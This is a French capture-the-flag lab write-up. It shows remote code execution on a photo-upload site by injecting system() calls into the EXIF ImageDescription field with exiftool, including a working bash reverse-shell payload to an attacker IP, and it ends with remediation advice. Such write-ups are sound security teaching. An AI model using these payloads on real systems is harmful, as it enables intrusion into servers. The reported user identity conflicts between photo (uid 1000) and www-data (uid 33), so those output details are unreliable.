ZNote Logo
ZNote
Labs PentesteasyWebverse
16-06-2026
8 min

Lab PhotoStore : RCE via Injection de Commande dans les Métadonnées EXIF

Pentest d'un studio photo en ligne : découverte que le moteur MetaDSL évalue le champ EXIF ImageDescription comme du code PHP via system(), modification du fichier image avec exiftool pour injecter une commande arbitraire, et obtention d'un reverse shell via Penelope.

Pentest
RCE
EXIF
Metadata Injection
exiftool
Command Injection
Webverse
Web Security

Contexte et Objectifs

ChampDétail
PlateformeWebverse
LienAccéder au Lab
Ciblephotostore.local
OSLinux (nginx)
Vuln. cléCommand Injection via métadonnées EXIF
Outil cléexiftool
DifficultéFacile

Scénario : Simon's PhotoStore est un studio photo qui permet aux clients d'uploader leurs photos via un portail web. Un moteur maison appelé MetaDSL lit le champ ImageDescription des métadonnées EXIF de chaque image dans le cadre du processus d'archivage. La question est de savoir ce que ce pipeline fait quand le champ de description n'est pas une légende, mais une commande.

Kill chain :

Sortie
Site d'upload → image d'exemple téléchargeable
        │
        ▼
Test avec l'image fournie → MetaDSL retourne le résultat de system("echo ...")
        │
        ▼
Confirmation : ImageDescription est évaluée comme du code PHP
        │
        ▼
exiftool → modification du champ ImageDescription → system("id")
        │
        ▼
Upload → RCE confirmée
        │
        ▼
Reverse shell via system("bash -c ...") → flag

1. Reconnaissance

Commande
bash
rustscan -b 500 -a 10.100.0.30 -- -sC -sV -Pn

Output :

Sortie
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 63 nginx
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://photostore.local/

Un seul port ouvert : 80/tcp, nginx, redirection vers photostore.local. Surface d'attaque entièrement concentrée sur l'application web. TTL de 63, machine Linux.

Page d'accueil PhotoStore


2. Enumération Web

Content Discovery et Inspection

Feroxbuster et l'inspection du code source ne révèlent rien de significatif. Le site est une page unique sans répertoires cachés ni endpoints API apparents.

Visite de l'Application

La page principale présente une zone d'upload d'images avec le texte suivant :

"Téléchargez vos fichiers originaux ci-dessous. Nous acceptons les formats JPEG et PNG d'une taille maximale de 4 Mo. Le moteur MetaDSL traite les champs ImageDescription dans le cadre du processus d'archivage afin de mieux répondre à vos besoins, chers clients."

Texte d'introduction

Deux informations critiques :

  1. L'application traite spécifiquement le champ ImageDescription des métadonnées de l'image.
  2. Un moteur interne appelé MetaDSL fait ce traitement.

Le site fournit une image d'exemple téléchargeable pour tester la fonctionnalité. On la télécharge.


3. Comprendre les Métadonnées EXIF

Avant de tester, un point de contexte.

Quand vous prenez une photo ou créez une image, le fichier ne contient pas seulement des pixels. Il contient également une section invisible appelée EXIF (Exchangeable Image File Format) : des métadonnées structurées en clés/valeurs embarquées dans le fichier lui-même.

Ces champs incluent : le modèle d'appareil photo, les paramètres d'exposition, la date de prise de vue, les coordonnées GPS, et des champs libres comme ImageDescription, Artist, Copyright.

Le champ ImageDescription est particulièrement intéressant : c'est un champ texte libre où n'importe quelle valeur peut être insérée. Si l'application lit ce champ et l'évalue plutôt que de simplement l'afficher, on a un vecteur d'injection.

Outil utilisé : exiftool

exiftool est l'outil de référence pour lire et modifier les métadonnées EXIF sous Linux.

Commande
bash
# Lire toutes les métadonnées d'une image
exiftool image.jpg

# Modifier un champ spécifique
exiftool -ImageDescription='nouvelle valeur' image.jpg

4. Test de la Fonctionnalité

Analyse de l'Image d'Exemple

On inspecte les métadonnées de l'image fournie par le site :

Commande
bash
exiftool sample.jpg

Output :

Sortie
ExifTool Version Number     : 13.50
File Name                   : sample.jpg
File Size                   : 148 kB
File Type                   : JPEG
MIME Type                   : image/jpeg
Image Description           : system("echo Sample image - MetaDSL v2.1 annotations enabled")
Make                        : Studio Camera Co.
Camera Model Name           : SC-1 Pro
Software                    : MetaDSL v2.1
Artist                      : Simon's PhotoStore
Copyright                   : (c) 2026 Simons PhotoStore
Date/Time Original          : 2026:03:14 11:22:00
Lens Model                  : 50mm f/1.4
Image Width                 : 960
Image Height                : 640
Megapixels                  : 0.614

La ligne clé :

Sortie
Image Description : system("echo Sample image - MetaDSL v2.1 annotations enabled")

Le champ ImageDescription contient un appel à system(). C'est une fonction PHP qui exécute une commande shell et retourne son output.

Test avec l'Image Fournie

On uploade l'image d'exemple sans modification pour observer le comportement :

Résultat de l'upload de l'image d'exemple

La réponse de l'application :

Sortie
json
{
  "image_description": "system(\"echo Sample image - MetaDSL v2.1 annotations enabled\")",
  "metadata_processed": "Sample image - MetaDSL v2.1 annotations enabled"
}

Ce qui vient de se passer :

  1. L'application a lu le champ ImageDescription de l'image.
  2. Elle a évalué la valeur comme du code PHP (via eval() ou un mécanisme équivalent).
  3. system("echo Sample image...") a été exécuté côté serveur.
  4. Le résultat de la commande echo est retourné dans metadata_processed.

Le moteur MetaDSL ne traite pas la description comme une chaîne de texte. Il l'exécute comme du code. C'est une vulnérabilité de type Command Injection via les métadonnées EXIF.


5. Confirmation RCE

Modification du Champ ImageDescription

On utilise exiftool pour remplacer la valeur du champ par une commande de reconnaissance :

Commande
bash
exiftool -ImageDescription='system("id")' sample.jpg
Sortie
1 image files updated

On uploade l'image modifiée sur le site :

Résultat de la commande id

Sortie
json
{
  "metadata_processed": "uid=1000(photo) gid=1000(photo) groups=1000(photo)"
}

RCE confirmée. La commande id s'est exécutée côté serveur avec les droits du processus web (photo). On peut exécuter n'importe quelle commande système via ce vecteur.


6. Reverse Shell

Référence : revshells.com / Penelope

Préparation du Payload

On injecte un reverse shell bash dans le champ ImageDescription. L'imbrication dans system() nécessite d'échapper les guillemets internes :

Commande
bash
exiftool -ImageDescription='system("bash -c \"bash -i >& /dev/tcp/10.9.0.65/4444 0>&1\"")' sample.jpg

Décomposition du payload :

ÉlémentRôle
system("...")Wrapper PHP qui exécute la commande shell
bash -c "..."Lance bash pour interpréter la commande qui suit
bash -iLance bash en mode interactif
>& /dev/tcp/10.9.0.65/4444Redirige STDOUT et STDERR vers notre IP sur le port 4444
0>&1Redirige STDIN depuis la même connexion (rend le shell bidirectionnel)
\"Guillemets échappés pour éviter la casse de la chaîne PHP

Listener avec Penelope

Penelope est un handler de reverse shell qui stabilise automatiquement le TTY et gère les sessions multiples, contrairement à netcat qui nécessite une stabilisation manuelle.

Commande
bash
penelope
Sortie
[+] Listening for reverse shells on 0.0.0.0:4444
    -> 127.0.0.1 • 192.168.1.144 • 10.9.0.65
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)

Déclenchement

On uploade l'image modifiée :

Upload du payload reverse shell

Connexion reçue dans Penelope

Penelope reçoit la connexion. On a un shell stable en tant que photo.


7. Flag

Le flag est à la racine du système de fichiers :

Commande
bash
www-data@photostore:/$ ls /
flag.txt  var  usr  tmp  srv  run  proc  opt  mnt  media  lib  home  etc  dev  boot  bin
www-data@photostore:/$ cat /flag.txt

Flag


8. Conclusion et Remédiation

Kill Chain Complète

Sortie
1. RustScan        → Port 80, nginx, page unique
2. Visite app      → Upload d'images, moteur MetaDSL traite ImageDescription
3. Image fournie   → ImageDescription contient system("echo ..."), metadata_processed retourne le résultat
4. exiftool read   → Confirmation : le champ original est un appel system()
5. exiftool write  → system("id") injecté dans ImageDescription
6. Upload          → uid=33(www-data) retourné → RCE confirmée
7. Payload shell   → system("bash -c \"bash -i >& /dev/tcp/...\"") injecté
8. Penelope        → Shell www-data reçu
9. Flag            → /flag.txt lu directement

Remédiation

VecteurProblèmeRemédiation
Evaluation du champ EXIFLe moteur MetaDSL évalue le champ ImageDescription comme du code PHPNe jamais évaluer des données issues d'un fichier uploadé. Lire les métadonnées comme des chaînes de texte brutes, sans eval() ni system()
Upload sans validationL'application accepte le fichier sans inspecter ni nettoyer ses métadonnéesAvant traitement, lire les métadonnées et valider leur contenu contre une liste blanche de caractères autorisés. Refuser tout fichier dont un champ contient des caractères suspects
Droits www-data excessifsLe processus web peut lancer bash et établir des connexions réseau sortantesAppliquer le principe de moindre privilège : isoler le processus d'upload dans un conteneur ou un sandbox sans accès réseau sortant
Accès au flag depuis www-dataLe flag est lisible par l'utilisateur www-dataProtéger les fichiers sensibles avec des permissions restrictives, accessibles uniquement à root

[!NOTE] La particularité de ce lab : la vulnérabilité est documentée par l'application elle-même. L'image d'exemple fournie par le site contient déjà un appel system() dans ses métadonnées. C'est le serveur qui nous dit comment l'attaquer. En pentest, toujours lire attentivement les données fournies par la cible, y compris les fichiers d'exemple et les messages d'erreur. Ils contiennent souvent plus d'informations que prévu.


Writeup rédigé par Zcook